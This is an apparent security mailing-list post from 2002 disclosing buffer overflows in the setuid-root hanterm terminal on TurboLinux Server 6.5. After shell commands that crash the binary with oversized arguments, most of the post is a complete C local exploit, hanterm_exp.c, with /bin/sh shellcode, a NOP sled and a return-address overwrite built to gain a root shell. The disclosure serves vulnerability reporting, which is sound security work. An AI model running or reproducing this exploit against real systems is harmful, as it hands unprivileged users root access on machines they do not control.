Overflow Vulnerabilities in hanterm

[xperc <xperc () hotmail com>]

Hi,I'm xperc.

  hanterm is Hangul terminal for X. it is based on the 
xterm in XFree86. The hanterm binary is default 
installed with setuid root permissions for TurboLinux 
Server 6.5. but contains insecure code with allows 
unprivileged local users to obtain root access on the 
local system.

$which hanterm
/usr/bin/X11/hanterm
$ls -l /usr/bin/X11/hanterm
-rws--x--x      1       root    root 166100  03 13 
2001 /usr/bin/X11/hanterm*
$rpm -qf /usr/bin/X11/hanterm
hanterm-xf-p18-3.3-6
$hanterm -fn `perl -e 'print "a"x100'`
Segmentation fault
$hanterm -hfb `perl -e 'print "a"x8000'`
Segmentation fault
$hanterm -hfn `perl -e 'print "a"x8000'`
Segmentation fault
...etc

/* hanterm_exp.c
 *
 * local exploit for hanterm
 *  .. tested in TurboLinux Server 6.5 (Japan)              
 *
 * thanks my Japanese friend kaju(kaijyu)
 * and Japanese hacker UNYUN.
 *
 *                  by xperc () hotmail com
 *                         2002/02/07
 */

#include <stdio.h>

#define NOP             0x90
#define MAXBUF          88
#define RETOFS          84
#define SHELL_OFS       22
#define ESP_OFS         -0xe38  

unsigned int get_esp()
{
        __asm__("mov %esp,%eax");
}

int main()
{
        static char shellcode[]={
            0x31,0xc0,0x31,0xdb,0xb0,0x17,0xcd,0x80,
            
0x31,0xc0,0x31,0xdb,0xb0,0x2e,0xcd,0x80,
            0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,
            
0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b,
            0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,
            0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f,
            0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
        }; 
        unsigned int retadr;
        char buf[MAXBUF];
        int i;
        
        memset(buf,NOP,MAXBUF);

        retadr=get_esp()+ESP_OFS;
        printf("Jumping address = %p\n",retadr);

        for(i=RETOFS-32;i<RETOFS+32;i+=4){
                buf[i]  =retadr&0xff;
                buf[i+1]=(retadr>>8)&0xff;
                buf[i+2]=(retadr>>16)&0xff;
                buf[i+3]=(retadr>>24)&0xff;
        }
        strncpy(buf+SHELL_OFS,shellcode,strlen
(shellcode));
        //buf[MAXBUF-1]='\0';       faint!:-(
        execl("/usr/bin/X11/hanterm","hanterm","-
fn",buf,(char *)0);
}